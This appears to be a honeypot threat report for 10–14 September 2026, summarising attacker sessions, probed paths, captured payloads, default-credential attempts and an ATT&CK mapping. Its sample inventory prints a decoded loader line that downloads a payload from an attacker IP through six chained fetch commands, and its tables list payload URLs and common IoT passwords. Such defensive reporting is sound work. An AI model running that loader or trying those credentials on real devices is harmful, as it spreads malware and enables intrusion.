HONEYPOT REPORT // 2026-09-10 – 2026-09-14
2026-09-10 – 2026-09-14 — SSH, Telnet + Web Honeypot Report
SSH and telnet volume by day
Executive summary
The highest-volume period of the span at 73,422 sessions, and the distribution is the interesting part. The top four sources — 217.60.255.130, 103.60.204.198, 103.195.81.146, 103.82.210.181 — opened 6,316, 6,232, 6,136 and 5,370 sessions respectively. Four unrelated netblocks across two continents, within 15% of each other.
That is the same quota-scheduler signature observed since July, at a larger per-worker allocation. The July figure was 773 sessions per host; the August figure was 785; this period runs above 5,000. The pattern held while the value grew roughly sevenfold.
The probed path list changed too. Alongside the familiar .env variants sit /.env.staging, /.env.php and /wp-config.php.bak — and /aZ9xQ7kL3m, a random string requested 162 times. That last one is a control probe: a path that cannot exist, used to see whether the server returns 404 honestly or answers everything. A honeypot that served content for it would be identified immediately.
The recurring Tor-exit public key d4:98:c4:f3… was last offered on September 17, from 152.53.157.69. It has now appeared from ten distinct exit nodes since July — nearly three months of someone periodically checking whether that key opens this host.
Notable sessions
103.60.204.198: 6,232 sessions
103.195.81.146: 6,136 sessions
103.82.210.181: 5,370 sessions
history: the same even-split pattern has run since July at 773, then 785, now >5,000 per worker
assessment: one scheduler, growing per-worker allocation, unchanged design
technique: the same CDN egress observed against /wp-admin/install.php in early August
effect: the true source is not visible; only the CDN edge is recorded
/aZ9xQ7kL3mrequests: 162
purpose: a host that serves content for an impossible path is a honeypot or a catch-all
result: the sensor returned 404, as it should
exits used: 10 distinct since July, including 185.220.101.x and 192.42.116.x ranges
behaviour: offer key as root, fail, fall back to password, run nothing, disconnect
span: first seen 2026-07-27, last seen 2026-09-17 — just under three months
Sample inventory
159 unique payload samples were captured across the full Aug 21 – Sep 18 archive, and none of them had been seen on this sensor before. The architecture spread is unchanged — x86-64 dominant, with ARM, MIPS both-endian, and a RISC-V build present — but the binaries themselves turn over completely.
One loader is worth noting for its obfuscation. A 608-byte file contains nothing but hex escapes; decoded, it is a single line:
S=185.106.92.100; (wget http://$S/p -O-||curl http://$S/p||ftpget $S - p|| busybox wget http://$S/p -O-||busybox curl http://$S/p||busybox ftpget $S - p)
Six retrieval methods chained with || so that any one succeeding stops the chain. The hex encoding defeats naive string matching on the C2 address while adding nothing to execution cost.
Indicators
Busiest shell sources
| source | sessions |
|---|---|
| 217.60.255.130 | 6,316 |
| 103.60.204.198 | 6,232 |
| 103.195.81.146 | 6,136 |
| 103.82.210.181 | 5,370 |
| 87.107.6.203 | 2,828 |
| 92.204.138.142 | 2,361 |
| 109.160.32.34 | 1,938 |
| 109.160.32.115 | 1,938 |
Payload URLs
| url | retrievals |
|---|---|
| hxxp://185.93.89.72/wget | 11 |
| hxxp://160.119.66.206/bins/kla.sh | 6 |
| hxxp://160.119.66.206/bins/net.x86_64 | 5 |
| hxxp://5.182.210.174/ok | 4 |
Most attempted credentials
| username | password | attempts |
|---|---|---|
enable\0 | linuxshell\0 | 1,708 |
system\0 | shell\0 | 1,702 |
support | support | 333 |
admin | admin | 300 |
root | admin | 268 |
root | xc3511 | 251 |
root | vizxv | 226 |
root | 123456 | 193 |
root | root | 158 |
enable\0 | system\0 | 149 |
Web sensor — most probed paths
| path | requests |
|---|---|
/fetch | 198 |
/aZ9xQ7kL3m | 162 |
/.env.staging | 105 |
/wp-config.php.bak | 103 |
/.env.php | 101 |
/.env~ | 99 |
/.env.example | 98 |
/.env.dev | 98 |
Payload hashes
| sha256 | what it is |
|---|---|
| 6d1fe6ab3cd04ca5d1ab790339ee2b6577553bc042af3b7587ece0c195267c9b virustotal → | Linux.MulDrop.14 — 2017 Raspberry Pi worm, still circulating unmodified |
| 94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00 virustotal → | sshd — Go worm, PAM credential theft, dual miner, Discord C2 |
MITRE ATT&CK mapping
| ID | technique | observed as |
|---|---|---|
| T1583.003 | Acquire Infrastructure: Virtual Private Server | Four sources within 15% of each other across two continents; scheduler allocation now >5,000 sessions per worker |
| T1090.004 | Proxy: Domain Fronting | 492 config retrievals routed through Cloudflare edge addresses |
| T1497 | Virtualization/Sandbox Evasion | /aZ9xQ7kL3m requested 162 times as a catch-all detection probe |
| T1021.004 | Remote Services: SSH | Recurring public key offered from a tenth Tor exit, spanning three months |
| T1027 | Obfuscated Files or Information | A 608-byte dropper consisting entirely of hex escapes, decoding to a six-method retrieval chain |
| T1105 | Ingress Tool Transfer | 165 retrievals; 159 unique samples across the archive, none previously seen |